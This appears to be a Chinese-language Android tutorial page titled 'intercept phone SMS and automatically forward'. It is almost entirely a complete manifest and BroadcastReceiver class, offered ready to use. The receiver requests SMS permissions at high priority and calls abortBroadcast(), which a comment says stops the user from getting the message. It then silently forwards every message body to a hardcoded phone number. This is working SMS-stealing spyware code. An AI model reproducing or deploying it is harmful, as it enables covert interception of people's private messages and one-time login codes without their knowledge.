当前位置: 代码迷 >> Android >> Android 之 阻截手机短信并自动转发
  详细解决方案

Android 之 阻截手机短信并自动转发

热度:78   发布时间:2016-04-28 06:45:41.0
Android 之 拦截手机短信并自动转发
拦截短信和发送短信都需要相关的权限:

<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"    package="com.example.sms"    android:versionCode="1"    android:versionName="1.0" >    <uses-sdk        android:minSdkVersion="9"        android:targetSdkVersion="10" />    <!-- 接收 短信和发送短信的权限 -->    <uses-permission android:name="android.permission.RECEIVE_SMS" />    <uses-permission android:name="android.permission.SEND_SMS" />    <application        android:allowBackup="true"        android:icon="@drawable/ic_launcher"        android:label="@string/app_name"        android:theme="@style/AppTheme" >        <!-- 拦截用户短信:短信广播地址:android.provider.Telephony.SMS_RECEIVED -->        <receiver android:name=".SMSReceiver" >            <intent-filter android:priority="700" >                <action android:name="android.provider.Telephony.SMS_RECEIVED" />            </intent-filter>        </receiver>    </application></manifest>


主程序入口:使用广播监听系统短信


package com.example.sms;import android.app.PendingIntent;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.os.Bundle;import android.telephony.SmsManager;import android.telephony.SmsMessage;import android.util.Log;import android.widget.Toast;/** * 拦截用于短信 *  * @author Administrator *  */public class SMSReceiver extends BroadcastReceiver {	public void onReceive(Context context, Intent intent) {		if (intent.getAction()				.equals("android.provider.Telephony.SMS_RECEIVED")) { // 判断是否为短信的广播			abortBroadcast(); // 终止广播的继续传播			// 得到拦截的短信内容信息 -- 这里可以终止广播的传递,让用户收不到短信			Bundle bundle = intent.getExtras();			// 通过 pdus 获取到接收到的所有短信息			Object[] obj = (Object[]) bundle.get("pdus");			// 构建短信Array , 根据收到信息的数据数			SmsMessage[] smss = new SmsMessage[obj.length];			// 将获取到的短信消息全部封装到 SmsMessage[] 数组对象中			for (int i = 0; i < obj.length; i++) {				smss[i] = SmsMessage.createFromPdu((byte[]) obj[i]); //			}			StringBuilder builder = new StringBuilder(); // 保存数据						PendingIntent pid = PendingIntent.getBroadcast(context, 0,					new Intent(), 0);			SmsManager smsManager = SmsManager.getDefault(); // 获取管理对象			// 取出每一条信息			for (SmsMessage sms : smss) {				String address = sms.getDisplayOriginatingAddress(); // 来源				String content = sms.getDisplayMessageBody(); // 获得短信内容				Log.i("msg", "执行了...来源:" + address);				Toast.makeText(context, "发送者:" + address + "\n 内容:" + content,						Toast.LENGTH_LONG).show();								// 自动发送短信:				//参数:1、目的号码 ; 2、短信服务中心号码  ,null表示默认; 3、短信内容; 4、发送短信结果内容 ; 5、发送短信到目地后的回复信息				smsManager.sendTextMessage("15555215558", null, content, pid, null);			}		}	}}
  相关解决方案